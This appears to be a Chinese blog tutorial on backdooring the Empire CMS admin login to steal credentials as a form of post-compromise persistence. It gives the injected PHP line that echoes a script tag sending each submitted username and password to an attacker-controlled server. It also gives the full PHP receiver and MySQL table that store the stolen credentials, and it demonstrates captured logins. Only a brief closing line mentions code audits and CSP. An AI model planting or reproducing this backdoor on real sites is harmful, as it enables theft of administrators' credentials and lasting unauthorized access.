账户名密码是怎样被窃取的,简单模拟攻击者权限维持流程。

前言

在我们进行渗透测试的时候,常常需要进行权限维持,常见的 Javascript窃取用户凭证是一种常见的攻击手法。
之前我们可能学习过钓鱼网页的使用,如果我们通过渗透测试进入到用户的服务器,其实也可以通过在网页中植入Javascript代码的方式来达到权限维持的效果。
本篇文章通过分析Javascript用户凭证窃取,来分析如何进行权限维持。

正文

凭证劫持流程

“凭证劫持”(Credential Hijacking)是指攻击者通过非法手段窃取或获取到用户的认证信息(如用户名和密码),从而在无需合法用户授权的情况下,冒充该用户访问受保护的网络资源或服务。
实现凭证劫持的流程非常简单,如下图所示:

凭证劫持实现权限维持的需要:

  • 受控服务器
  • 恶意代码植入
  • 攻击者服务器接收用户名及密码

凭证劫持演示

前置环境准备:

  1. 帝国 CMS:http://www.phome.net/
  2. 用户数据库创建

在攻击者服务器中,我们使用如下语句来创建相关的数据库:

CREATE DATABASE flash;

USE flash;

CREATE TABLE info (
  username VARCHAR(255) NOT NULL,
  password VARCHAR(255) NOT NULL
);

以上MYSQL语句的作用是创建一个名为flash的数据库以及一个名为info的表单,表单中包含两列,一列为username,另一列为password
我们本次实验使用帝国 CMS 进行实验测试,在帝国 CMS 处理后台管理员账户名密码的文件/admin/ecmsadmin.php中,我们可以看到这样一段代码:

if($enews=="login")//登陆
{
  $username=$_POST['username'];
  $password=$_POST['password'];
  $key=$_POST['key'];
  $loginin=$username;
  login($username,$password,$key,$_POST);
}
else
{
  printerror("ErrorUrl","history.go(-1)");
}

这段代码用于处理前端表单数据中 POST 上来的usernamepassword,并将其赋值给相关变量,此时我们在if条件判断成功语句中插入恶意执行Javascript代码:

$url = "http://xxx.xxx.xxx.xxx/index.php?user={$username}&pass={$password}";
$up = "<script src=\"{$url}\"></script>";
echo $up;

此时在攻击者服务器中部署恶意代码,代码内容如下:

<?php
// 数据库连接信息
$servername = "localhost";$username = "root";
$password = "root";$dbname = "flash";

// 创建连接
$conn = new mysqli($servername, $username,$password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
}

// 用户名和密码从 GET 请求中获取,实际应用中应从安全的地方获取
$user =$_GET['user'];
$pass =$_GET['pass'];

// 准备检查唯一性的 SQL 语句
$stmt =$conn->prepare("SELECT * FROM info WHERE username = ?");
$stmt->bind_param("s",$user); // 绑定参数 's' 表示字符串类型
$stmt->execute();

// 获取结果
$result =$stmt->get_result();

// 检查是否存在相同用户名和密码
if ($result->num_rows > 0) {
    // 如果存在,则不执行 INSERT 语句
    echo "该用户名或密码已存在。";
} else {
    // 如果不存在,准备插入语句
    $stmt =$conn->prepare("INSERT INTO info (username, password) VALUES (?, ?)");
    $stmt->bind_param("ss",$user, $pass);
    
    // 执行插入语句
    if ($stmt->execute()) {
        echo "新用户已成功添加。";
    } else {
        echo "添加新用户失败:" . $stmt->error;
    }
}

// 关闭语句和连接
$stmt->close();$conn->close();
?>

此时我们模拟管理员登录进入到帝国 CMS 页面:
image.png
并先后用以下账户名和密码进行登录:

username1:pasword1
admin:password
guest:guestpasword

此时访问攻击者服务器数据库,此时相关用户名与密码已经存入到数据中,凭证成功劫持。
image.png

总结

本篇文章总结了常见的钓鱼网页的钓鱼手法,以及通过使用这种手法达到凭证劫持的效果,在工作环境中,我们要进行代码审计来审查自己的服务代码中是否被黑客植入了恶意代码或者发现未知漏洞,同时也可以实施CSP可以限制哪些来源的资源可以被加载到网页中,以此减少恶意脚本的风险。

  • 12
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值